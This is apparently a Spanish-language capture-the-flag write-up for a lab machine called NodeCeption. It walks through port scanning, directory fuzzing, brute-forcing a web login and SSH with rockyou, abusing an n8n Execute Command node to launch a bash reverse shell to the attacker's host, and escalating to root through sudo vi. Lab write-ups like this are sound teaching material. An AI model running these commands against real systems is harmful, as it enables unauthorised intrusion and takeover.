Write-ups

Resolución del CTF – NodeCeption


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.115
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Identificamos los siguientes servicios expuestos:

22/tcp (SSH), 5678/tcp (n8n), 8765/tcp (Apache).

Enumeración Web

Accedemos al servicio Apache en el puerto 8765 y analizamos el código fuente de la página principal.

Encontramos un comentario con un correo electrónico y una política de contraseñas, lo que nos permite identificar un usuario válido.

Realizamos fuzzing de rutas para localizar un panel de autenticación.

gobuster dir -u http://192.168.0.115:8765 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt

Localizamos el endpoint login.php, que presenta un formulario de autenticación por correo y contraseña.

Acceso Inicial

Realizamos un ataque de fuerza bruta contra el formulario de login utilizando el correo identificado previamente.

ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "[email protected]&password=FUZZ" -u http://192.168.0.115:8765/login.php -H "Content-Type: application/x-www-form-urlencoded" -mc all -fs 1808

Obtenemos credenciales válidas y accedemos correctamente al panel web.

Reutilizamos estas credenciales para autenticarnos en el panel n8n expuesto en el puerto 5678.

Ejecución Remota de Comandos

Desde el panel de n8n creamos un workflow con un nodo Execute Command que nos permite ejecutar comandos en el sistema.

Configuramos una reverse shell hacia nuestro equipo.

bash -c 'bash -i >& /dev/tcp/192.168.0.109/4444 0>&1'

Preparamos el listener y ejecutamos el workflow.

nc -nlvp 4444

Obtenemos una shell interactiva como el usuario thl.

Escalada de Privilegios

Enumeramos permisos sudo disponibles para el usuario comprometido.

sudo -l

Observamos que vi puede ejecutarse con privilegios elevados, pero requiere contraseña debido a la configuración de sudo.

Realizamos fuerza bruta contra el servicio SSH para obtener la contraseña del usuario.

hydra -l thl -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.115

Accedemos por SSH con credenciales válidas y ejecutamos vi como root aprovechando GTFOBins.

sudo vi -c ':!/bin/sh' /dev/null

Obtenemos una shell con privilegios de root y control total del sistema.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *